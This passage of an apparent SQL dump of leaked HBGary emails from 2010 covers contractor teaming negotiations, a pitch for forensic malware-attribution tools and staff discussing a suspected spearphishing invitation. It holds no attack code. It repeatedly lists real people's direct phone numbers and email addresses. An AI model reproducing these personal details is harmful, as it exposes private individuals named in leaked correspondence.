compile time, compiler version, Linker version, etc.\r\nThis capability allows us to very quickly extract, analyze, and group\r\nsoftware specimens based on common environmental characteristics.  What\r\nbrings these tools to life is the investigatory process and understanding\r\nthe nature of software and malware development and knowing what specific\r\nfactors are significant and which are not, then correlating.\r\n\r\noh man I am falling fast....zzzzzzzzzzzzzzzzz.....\r\n\r\nThis ok.\r\n\r\nIts really our tools which make analysis more efficient, expedited.\r\nKnowledge of software, specifically malware, characteristics.  Open source\r\nresearch using code on the web and social media data.\r\n',12113,'aaron_hbgary_com/12113.html'),(11807,'2010-09-16','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008856.M689348P14101Q6662.eml','aaron@hbgary.com,aaron@hbgary.com,,','Re: ManTech','Excellent!  \r\n\r\nJust to be clear, last thursday justin and I had agreed to discuss coin with the idea of their joining our team.  Did he say he was going to just talk to saic or commit to their team when you talked today? He may still be looking to maximize his team share by playing us against each other.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, September 15, 2010 10:31 PM\r\nTo: Lovegrove, John (TASC)\r\nCc: Pisani, Albert A. (TASC); Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: ManTech\r\n\r\nYep.\r\n\r\nI spoke with Bob Frisbie and Justin today (I am working with them on a forensic proposal).  Justin is Bob\'s BD lead.  Justin told me they were going to talk with SAIC.  I told Justin  we needed to go talk with Bob right away because that was the wrong decision.  I used to be Bob\'s technical director, so I have a good working relationship with Bob.  I told Bob that he needed to talk with TASC before making any decisions and that SAIC was the wrong choice if he wanted to be on a winning team ;)\r\n\r\nAaron\r\n\r\nOn Sep 15, 2010, at 11:26 PM, Lovegrove, John (TASC) wrote:\r\n\r\n> Aaron\r\n> \r\n> Who at mantech is talking about joining saic?  Justin mentzger is talking to us about getting on our team.\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 15, 2010 08:46 PM\r\n> To: Pisani, Albert A. (TASC)\r\n> Cc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\n> Subject: Re: ManTech\r\n> \r\n> Al,\r\n> \r\n> They were teamed up with ManTech but since ManTech has decided not to\r\n> prime I am unsure of their status.  They can\'t prime it so I imagine\r\n> they would need to talk with SAIC or TASC to get a seat.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n>  wrote:\r\n> \r\n>> Aaron:\r\n>> Is Abraxis committed?  We are teamed on several other deals and know their seniors quite well.\r\n>> \r\n>> Al\r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Wednesday, September 15, 2010 07:29 PM\r\n>> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC)\r\n>> Subject: ManTech\r\n>> \r\n>> All,\r\n>> \r\n>> I was a little taken aback when I found put today that ManTech is thinking of teaming with SAIC. ManTech as going to team with Abraxis but I believe against us and SAIC thought they didn\'t have a high enough pwin.  If Abraxis is teamless we have to assume they are courting SAIC.  I believe we have to add ManTech to the team.  I talked with Bob Frisbie today and based on my conversation he would rather join our team if we are interested.  I think we need to meet soonest to discuss.  I am confident in our position but would not want to if I don\'t have to go against SAIC, NG, ManTech, and Abraxis.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n\r\n',11306,'aaron_hbgary_com/11306.html'),(11808,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008856.M897864P14101Q6663.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,,','Re: ManTech','He said they had a meeting scheduled to talk with Amanda about joining their team, and that Amanda was receptive and they were leaning to joining the SAiC team.  I am sure they are trying to maximize workshare.  But as I told Bob today, the workshare of the loosing team is 0.  :)\r\n\r\nIf they joined the SAIC team I don\'t think they would get that many seats at this point in the game.  They do have some very significant quals in a few areas I can bring you up to speed on Friday if your not already aware.\r\n\r\nAaron\r\nOn Sep 15, 2010, at 11:47 PM, Lovegrove, John (TASC) wrote:\r\n\r\n> Excellent!  \r\n> \r\n> Just to be clear, last thursday justin and I had agreed to discuss coin with the idea of their joining our team.  Did he say he was going to just talk to saic or commit to their team when you talked today? He may still be looking to maximize his team share by playing us against each other.\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 15, 2010 10:31 PM\r\n> To: Lovegrove, John (TASC)\r\n> Cc: Pisani, Albert A. (TASC); Clair, Chris (TASC); Garcia, Kathy (TASC)\r\n> Subject: Re: ManTech\r\n> \r\n> Yep.\r\n> \r\n> I spoke with Bob Frisbie and Justin today (I am working with them on a forensic proposal).  Justin is Bob\'s BD lead.  Justin told me they were going to talk with SAIC.  I told Justin  we needed to go talk with Bob right away because that was the wrong decision.  I used to be Bob\'s technical director, so I have a good working relationship with Bob.  I told Bob that he needed to talk with TASC before making any decisions and that SAIC was the wrong choice if he wanted to be on a winning team ;)\r\n> \r\n> Aaron\r\n> \r\n> On Sep 15, 2010, at 11:26 PM, Lovegrove, John (TASC) wrote:\r\n> \r\n>> Aaron\r\n>> \r\n>> Who at mantech is talking about joining saic?  Justin mentzger is talking to us about getting on our team.\r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, September 15, 2010 08:46 PM\r\n>> To: Pisani, Albert A. (TASC)\r\n>> Cc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\n>> Subject: Re: ManTech\r\n>> \r\n>> Al,\r\n>> \r\n>> They were teamed up with ManTech but since ManTech has decided not to\r\n>> prime I am unsure of their status.  They can\'t prime it so I imagine\r\n>> they would need to talk with SAIC or TASC to get a seat.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n>>  wrote:\r\n>> \r\n>>> Aaron:\r\n>>> Is Abraxis committed?  We are teamed on several other deals and know their seniors quite well.\r\n>>> \r\n>>> Al\r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Wednesday, September 15, 2010 07:29 PM\r\n>>> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC)\r\n>>> Subject: ManTech\r\n>>> \r\n>>> All,\r\n>>> \r\n>>> I was a little taken aback when I found put today that ManTech is thinking of teaming with SAIC. ManTech as going to team with Abraxis but I believe against us and SAIC thought they didn\'t have a high enough pwin.  If Abraxis is teamless we have to assume they are courting SAIC.  I believe we have to add ManTech to the team.  I talked with Bob Frisbie today and based on my conversation he would rather join our team if we are interested.  I think we need to meet soonest to discuss.  I am confident in our position but would not want to if I don\'t have to go against SAIC, NG, ManTech, and Abraxis.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> Sent from my iPhone\r\n> \r\n\r\n',2884,'aaron_hbgary_com/2884.html'),(11809,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008857.M131805P14101Q6664.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:More Stuff','Might want to include an example.  Observables need to be taken into context.\r\n\r\nExample:  The use of RPC over .NET for internal comms is an indicator.  The use of specific functions or other coding idioms.  These can be correlated with timestamps, compilers, language packs.  Is there an observable lineage of any code segments or identifiable characteristics that can be traced through repositories such as google code search.\r\n\r\n\r\nOn Sep 15, 2010, at 11:42 PM, Masterson, Brian M (XETRON) wrote:\r\n\r\n> It is going to have to be.  I am losing it too.\r\n> Let me see what I can pull together.\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, September 15, 2010 11:41 PM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: EXTERNAL:More Stuff\r\n> \r\n> Understanding the observable forensic footprint of software requires good\r\n> memory, disk, and network forensic tools along with people experienced in\r\n> cyber investigations working within a structured process.  HBGary uses\r\n> Responder, DDNA, and Fingerprint.exe to pull the necessary information out\r\n> and expedite the investigatory process.  We have done this in a number of\r\n> different cases that have lead to country and in some cases author level\r\n> attribution.  All of this is based on the observable software\r\n> characteristics forensically collected and the analysis process.  The\r\n> analysis process also involves incorporating and analyzing C&C and social\r\n> media observables.\r\n> \r\n> Responder allows the investigator to very quickly analyze software resident\r\n> in memory for observable characteristics by automatically disassembling\r\n> software and providing a highly efficient UI for analysis.  Fingerprint.exe\r\n> pulls common environmental variables associated with the software at time of\r\n> compilation, such as compile time, compiler version, Linker version, etc.\r\n> This capability allows us to very quickly extract, analyze, and group\r\n> software specimens based on common environmental characteristics.  What\r\n> brings these tools to life is the investigatory process and understanding\r\n> the nature of software and malware development and knowing what specific\r\n> factors are significant and which are not, then correlating.\r\n> \r\n> oh man I am falling fast....zzzzzzzzzzzzzzzzz.....\r\n> \r\n> This ok.\r\n> \r\n> Its really our tools which make analysis more efficient, expedited.\r\n> Knowledge of software, specifically malware, characteristics.  Open source\r\n> research using code on the web and social media data.\r\n\r\n',9358,'aaron_hbgary_com/9358.html'),(11810,'2010-09-16','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008857.M378222P14101Q6665.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:More Stuff','DO you have any tools to offer to collect those observables? Will DDNA\r\nprovide that observable?  So, how do you get the indicator?\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 16, 2010 12:13 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:More Stuff\r\n\r\nMight want to include an example.  Observables need to be taken into\r\ncontext.\r\n\r\nExample:  The use of RPC over .NET for internal comms is an indicator.  The\r\nuse of specific functions or other coding idioms.  These can be correlated\r\nwith timestamps, compilers, language packs.  Is there an observable lineage\r\nof any code segments or identifiable characteristics that can be traced\r\nthrough repositories such as google code search.\r\n\r\n\r\nOn Sep 15, 2010, at 11:42 PM, Masterson, Brian M (XETRON) wrote:\r\n\r\n> It is going to have to be.  I am losing it too.\r\n> Let me see what I can pull together.\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, September 15, 2010 11:41 PM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: EXTERNAL:More Stuff\r\n> \r\n> Understanding the observable forensic footprint of software requires good\r\n> memory, disk, and network forensic tools along with people experienced in\r\n> cyber investigations working within a structured process.  HBGary uses\r\n> Responder, DDNA, and Fingerprint.exe to pull the necessary information out\r\n> and expedite the investigatory process.  We have done this in a number of\r\n> different cases that have lead to country and in some cases author level\r\n> attribution.  All of this is based on the observable software\r\n> characteristics forensically collected and the analysis process.  The\r\n> analysis process also involves incorporating and analyzing C&C and social\r\n> media observables.\r\n> \r\n> Responder allows the investigator to very quickly analyze software\r\nresident\r\n> in memory for observable characteristics by automatically disassembling\r\n> software and providing a highly efficient UI for analysis.\r\nFingerprint.exe\r\n> pulls common environmental variables associated with the software at time\r\nof\r\n> compilation, such as compile time, compiler version, Linker version, etc.\r\n> This capability allows us to very quickly extract, analyze, and group\r\n> software specimens based on common environmental characteristics.  What\r\n> brings these tools to life is the investigatory process and understanding\r\n> the nature of software and malware development and knowing what specific\r\n> factors are significant and which are not, then correlating.\r\n> \r\n> oh man I am falling fast....zzzzzzzzzzzzzzzzz.....\r\n> \r\n> This ok.\r\n> \r\n> Its really our tools which make analysis more efficient, expedited.\r\n> Knowledge of software, specifically malware, characteristics.  Open source\r\n> research using code on the web and social media data.\r\n\r\n',16769,'aaron_hbgary_com/16769.html'),(11811,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008857.M592293P14101Q6666.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:More Stuff','Finfgerprint collects them.  You have to build it in to the tool.\r\nFingerprint collects and correlates.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 16, 2010, at 12:14 AM, \"Masterson, Brian M (XETRON)\"\r\n wrote:\r\n\r\n> DO you have any tools to offer to collect those observables? Will DDNA\r\n> provide that observable?  So, how do you get the indicator?\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 16, 2010 12:13 AM\r\n> To: Masterson, Brian M (XETRON)\r\n> Subject: Re: EXTERNAL:More Stuff\r\n>\r\n> Might want to include an example.  Observables need to be taken into\r\n> context.\r\n>\r\n> Example:  The use of RPC over .NET for internal comms is an indicator.  The\r\n> use of specific functions or other coding idioms.  These can be correlated\r\n> with timestamps, compilers, language packs.  Is there an observable lineage\r\n> of any code segments or identifiable characteristics that can be traced\r\n> through repositories such as google code search.\r\n>\r\n>\r\n> On Sep 15, 2010, at 11:42 PM, Masterson, Brian M (XETRON) wrote:\r\n>\r\n>> It is going to have to be.  I am losing it too.\r\n>> Let me see what I can pull together.\r\n>>\r\n>> Brian Masterson\r\n>> Northrop Grumman/Xetron\r\n>> Chief Technology Officer, Cyber Solutions\r\n>> Ph: 513-881-3591\r\n>> Cell: 513-706-4848\r\n>> Fax: 513-881-3877\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, September 15, 2010 11:41 PM\r\n>> To: Masterson, Brian M (XETRON)\r\n>> Subject: EXTERNAL:More Stuff\r\n>>\r\n>> Understanding the observable forensic footprint of software requires good\r\n>> memory, disk, and network forensic tools along with people experienced in\r\n>> cyber investigations working within a structured process.  HBGary uses\r\n>> Responder, DDNA, and Fingerprint.exe to pull the necessary information out\r\n>> and expedite the investigatory process.  We have done this in a number of\r\n>> different cases that have lead to country and in some cases author level\r\n>> attribution.  All of this is based on the observable software\r\n>> characteristics forensically collected and the analysis process.  The\r\n>> analysis process also involves incorporating and analyzing C&C and social\r\n>> media observables.\r\n>>\r\n>> Responder allows the investigator to very quickly analyze software\r\n> resident\r\n>> in memory for observable characteristics by automatically disassembling\r\n>> software and providing a highly efficient UI for analysis.\r\n> Fingerprint.exe\r\n>> pulls common environmental variables associated with the software at time\r\n> of\r\n>> compilation, such as compile time, compiler version, Linker version, etc.\r\n>> This capability allows us to very quickly extract, analyze, and group\r\n>> software specimens based on common environmental characteristics.  What\r\n>> brings these tools to life is the investigatory process and understanding\r\n>> the nature of software and malware development and knowing what specific\r\n>> factors are significant and which are not, then correlating.\r\n>>\r\n>> oh man I am falling fast....zzzzzzzzzzzzzzzzz.....\r\n>>\r\n>> This ok.\r\n>>\r\n>> Its really our tools which make analysis more efficient, expedited.\r\n>> Knowledge of software, specifically malware, characteristics.  Open source\r\n>> research using code on the web and social media data.\r\n>\r\n',5796,'aaron_hbgary_com/5796.html'),(11812,'2010-09-16','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008857.M871937P14101Q6667.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Green Eggs #13.docx','\r\n\r\n\r\n\r\n\r\nGreen Eggs #13.docx\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is what I got back after submitting.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Britton, Douglas C\r\n[mailto:douglas.c.britton@lmco.com] \r\nSent: Thursday, September 16, 2010 1:26 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: RE: Green Eggs #13.docx\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBrian, \r\n\r\nStrictly, I shouldn&#8217;t take this.&nbsp; And I&#8217;m not just saying\r\nit to be an arbitrary and power-wielding ass.&nbsp; We&#8217;d actually already done\r\nthe evals.&nbsp; I&#8217;ll scrub it first thing and see if I can justify getting it\r\nin.\r\n\r\n&nbsp;\r\n\r\nThanks Brian&#8230;you coming to DC anytime soon?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian M\r\n(XETRON) [mailto:Brian.Masterson@ngc.com] \r\nSent: Thursday, September 16, 2010 12:37 AM\r\nTo: Britton, Douglas C\r\nSubject: Green Eggs #13.docx\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDoug,\r\n\r\nSorry for the lateness in\r\nthe submittal.\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n&lt;&lt;Green\r\nEggs #13.docx&gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n',12719,'aaron_hbgary_com/12719.html'),(11813,'2010-09-16','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297008858.M117499P14101Q6668.eml','aaron@hbgary.com,aaron@hbgary.com','Re: ManTech','Ok\r\nWhat do we get from either Mtech or praxis in terms of quals and pb win?\r\n\r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, September 15, 2010 08:46 PM\r\nTo: Pisani, Albert A. (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC)\r\nSubject: Re: ManTech\r\n\r\nAl,\r\n\r\nThey were teamed up with ManTech but since ManTech has decided not to\r\nprime I am unsure of their status.  They can\'t prime it so I imagine\r\nthey would need to talk with SAIC or TASC to get a seat.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 15, 2010, at 8:39 PM, \"Pisani, Albert A. (TASC)\"\r\n wrote:\r\n\r\n> Aaron:\r\n> Is Abraxis committed?  We are teamed on several other deals and know their seniors quite well.\r\n>\r\n> Al\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:adbarr@me.com]\r\n> Sent: Wednesday, September 15, 2010 07:29 PM\r\n> To: Clair, Chris (TASC); Garcia, Kathy (TASC); Pisani, Albert A. (TASC); Lovegrove, John (TASC)\r\n> Subject: ManTech\r\n>\r\n> All,\r\n>\r\n> I was a little taken aback when I found put today that ManTech is thinking of teaming with SAIC. ManTech as going to team with Abraxis but I believe against us and SAIC thought they didn\'t have a high enough pwin.  If Abraxis is teamless we have to assume they are courting SAIC.  I believe we have to add ManTech to the team.  I talked with Bob Frisbie today and based on my conversation he would rather join our team if we are interested.  I think we need to meet soonest to discuss.  I am confident in our position but would not want to if I don\'t have to go against SAIC, NG, ManTech, and Abraxis.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',9523,'aaron_hbgary_com/9523.html'),(11814,'2010-09-16','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008858.M461663P14101Q6669.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,,','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner','I didn&#39;t dig into the URLs but are you saying it was a spearphish?On Wed, Sep 15, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.\r\nNow this is getting pretty scary.  I almost opened it.AaronBegin forwarded message:From: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\nDate: September 15, 2010 10:03:56 PM EDT\r\nTo: aaron@hbgary.com\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n  	\r\n  \r\n\r\n\r\n\r\n   \r\n  \r\n  	\r\n  	  \r\n      \r\n        \r\n          \r\n            \r\n\r\n\r\nINVITATION:\r\n     Tribute Dinner\r\n\r\n\r\nHOST:\r\n     LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    DATE:\r\n    December 05, 2010\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    TIME:\r\n    06:00pm - 09:30pm EST\r\n\r\n\r\n  \r\n\r\n\r\n \r\n    \r\n\r\n\r\n\r\n\r\n  LOCATION:\r\n     McLean Hilton Hotel\r\n\r\n\r\n\r\n\r\n\r\n  ADDRESS:\r\n     7920 Jones Branch Dr McLean, VA 22102, USA\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    link to map\r\n\r\n\r\n\r\n\r\n          \r\n        \r\n      \r\n      \r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n	 \r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW INVITATION\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	 \r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                 \r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                 \r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don&#39;t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',8720,'aaron_hbgary_com/8720.html'),(11815,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008858.M829549P14101Q6670.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,,,,','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret 	invited you to Tribute Dinner','I think so.I don&#39;t know either of these guys.There are some misspellings.No definition of what the tribute is for.Invitation was taken down 30 min after I got it.\r\nAaronSent from my iPhoneOn Sep 16, 2010, at 6:34 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI didn&#39;t dig into the URLs but are you saying it was a spearphish?On Wed, Sep 15, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.\r\n\r\nNow this is getting pretty scary.  I almost opened it.AaronBegin forwarded message:From: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\n\r\nDate: September 15, 2010 10:03:56 PM EDT\r\n\r\nTo: aaron@hbgary.com\r\n\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n  	\r\n  \r\n\r\n\r\n\r\n   \r\n  \r\n  	\r\n  	  \r\n      \r\n        \r\n          \r\n            \r\n\r\n\r\nINVITATION:\r\n     Tribute Dinner\r\n\r\n\r\nHOST:\r\n     LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    DATE:\r\n    December 05, 2010\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    TIME:\r\n    06:00pm - 09:30pm EST\r\n\r\n\r\n  \r\n\r\n\r\n \r\n    \r\n\r\n\r\n\r\n\r\n  LOCATION:\r\n     McLean Hilton Hotel\r\n\r\n\r\n\r\n\r\n\r\n  ADDRESS:\r\n     7920 Jones Branch Dr McLean, VA 22102, USA\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    link to map\r\n\r\n\r\n\r\n\r\n\r\n          \r\n        \r\n      \r\n      \r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n	 \r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW INVITATION\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	 \r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                 \r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                 \r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don&#39;t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',9737,'aaron_hbgary_com/9737.html'),(11816,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008859.M238466P14101Q6672.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: Green Eggs #13.docx','I am sorry I didn&#39;t get this to you faster.AaronSent from my iPhoneOn Sep 16, 2010, at 5:50 AM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThis is what I got back after submitting.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Britton, Douglas C\r\n[mailto:douglas.c.britton@lmco.com] \r\nSent: Thursday, September 16, 2010 1:26 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: RE: Green Eggs #13.docx\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBrian, \r\n\r\nStrictly, I shouldn’t take this.  And I’m not just saying\r\nit to be an arbitrary and power-wielding ass.  We’d actually already done\r\nthe evals.  I’ll scrub it first thing and see if I can justify getting it\r\nin.\r\n\r\n \r\n\r\nThanks Brian…you coming to DC anytime soon?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian M\r\n(XETRON) [mailto:Brian.Masterson@ngc.com] \r\nSent: Thursday, September 16, 2010 12:37 AM\r\nTo: Britton, Douglas C\r\nSubject: Green Eggs #13.docx\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nDoug,\r\n\r\nSorry for the lateness in\r\nthe submittal.\r\n\r\nBrian\r\n\r\n 